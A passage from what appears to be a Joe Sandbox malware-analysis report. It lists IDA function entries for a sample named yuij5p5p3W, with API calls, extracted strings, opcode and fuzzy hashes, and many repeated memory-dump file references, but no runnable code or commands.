Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: dbdc74df5745c056a41aede7d88163d53a98399398ba8d3d3e8f526772fa31c4
Instruction ID: 07222dc82d360363c3b44c5eddac5e5f5c5c80c27bc9b3ed3a6b9d4a340e7519
Opcode Fuzzy Hash: dbdc74df5745c056a41aede7d88163d53a98399398ba8d3d3e8f526772fa31c4
Instruction Fuzzy Hash: 81220071908391CFD3248F28D89072FBBE1FF85315F1A4A6CE9959B2A1DB709941CB92

Function 008483D8 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 542COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 008484BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 008485B4

Strings

_^]\, xrefs: 00848A15
LF7Y, xrefs: 00848951

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: c6cf3a5409b380b35d3a3947737470ed48f8fec34727cd7b11affd2949aa7989
Instruction ID: 2941bc32a4d9636d9b671abde555d843152a330c18ce697f22eab6a47dec9c70
Opcode Fuzzy Hash: c6cf3a5409b380b35d3a3947737470ed48f8fec34727cd7b11affd2949aa7989
Instruction Fuzzy Hash: F412F071908391CFD3248F28D88071FBBE1FF85315F1A4A6CE9999B2A1DB719941CB92

Function 0085CDF0 Relevance: 6.9, Strings: 5, Instructions: 697COMMON

Download Yara Rule

Strings

_^]\, xrefs: 0085CE29
_^]\, xrefs: 0085D006
f, xrefs: 0085D081
jiP, xrefs: 0085D301
fiP, xrefs: 0085D2CF

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\$_^]\$f$fiP$jiP
API String ID: 2994545307-2734853458
Opcode ID: 768a071466404ffcb43623038106823ef92ba4ccc588d6d63f6ec311c6c2d446
Instruction ID: 12c26658ddf677ba848fc5fb6ef31268670d3733074b3f1248c11ae6954a0744
Opcode Fuzzy Hash: 768a071466404ffcb43623038106823ef92ba4ccc588d6d63f6ec311c6c2d446
Instruction Fuzzy Hash: 1522E5716083429FD728CF28C89072EBBE2FBD9315F198A2CE895D7395D670D845CB92

Function 00846D2E Relevance: 6.7, Strings: 5, Instructions: 482COMMON

Download Yara Rule

Strings

_^]\_^]\, xrefs: 00847064
uYD\, xrefs: 00846E3D
PV, xrefs: 00846DB3
\R, xrefs: 00846DAC
X^, xrefs: 00846DA5

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: _^]\_^]\$uYD\$PV$X^$\R
API String ID: 0-2314179683
Opcode ID: 5f598f4a92bdbf69e6c913203b939fb571908e126a97ab75ac4f7bfa707f302d
Instruction ID: 775f75c44cb2f3a60a0350942e66620bef708f248e6c229593f9ba90d63859ec
Opcode Fuzzy Hash: 5f598f4a92bdbf69e6c913203b939fb571908e126a97ab75ac4f7bfa707f302d
Instruction Fuzzy Hash: 75F1FCB1E14718CFDB14CFA8D8816AEBBB1FB49304F29486CD642AB351D775A902CF94

Function 008424E0 Relevance: 6.6, Strings: 5, Instructions: 304COMMON

Download Yara Rule

Strings

.[TU, xrefs: 00842538
;GsA, xrefs: 00842520
"_,Y, xrefs: 00842530
pCj], xrefs: 00842528
=K0E, xrefs: 00842544

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631864540.0000000000B18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631893430.0000000000B19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_820000_yuij5p5p3W.jbxd

Similarity

API ID:
String ID: "_,Y$.[TU$;GsA$=K0E$pCj]
API String ID: 0-1171452581
Opcode ID: 3a88271d9e7075d85a7774ad630c44223d9c1b8715e980577670d976b770ff57
Instruction ID: 35d877597d389e6aa0ac051240519195917b134be11c13ee75344a70fff96aa7
Opcode Fuzzy Hash: 3a88271d9e7075d85a7774ad630c44223d9c1b8715e980577670d976b770ff57
Instruction Fuzzy Hash: DB91F0B16083059BC710DF24C891B6BB7A5FF95318F19852CF98ACB282E374D905C762

Function 00838169 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

7, xrefs: 00838419
^`/4, xrefs: 008381E1
gfff, xrefs: 00838458
SP, xrefs: 00838396
2h?n, xrefs: 008383A0

Memory Dump Source

Source File: 00000000.00000002.2629226042.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000000.00000002.2629198330.0000000000820000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629226042.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629308215.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629333595.000000000087F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629359244.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629424467.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629644415.00000000009E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629673470.00000000009E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629822324.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2629958022.00000000009F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630104021.00000000009FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630433548.0000000000A06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630511045.0000000000A08000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630662603.0000000000A13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630694673.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630754324.0000000000A18000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630777307.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630841024.0000000000A32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630876728.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630943941.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2630970015.0000000000A58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631032307.0000000000A5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631056904.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631115106.0000000000A6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631138360.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631194192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631217309.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631276116.0000000000A84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631299962.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631356551.0000000000A8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631429375.0000000000A96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631456495.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631514530.0000000000ADA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631624356.0000000000AF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631659232.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631690405.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631744995.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631787399.0000000000B04000.00000080.00000001.01000000.00000003.sdmpDownload File
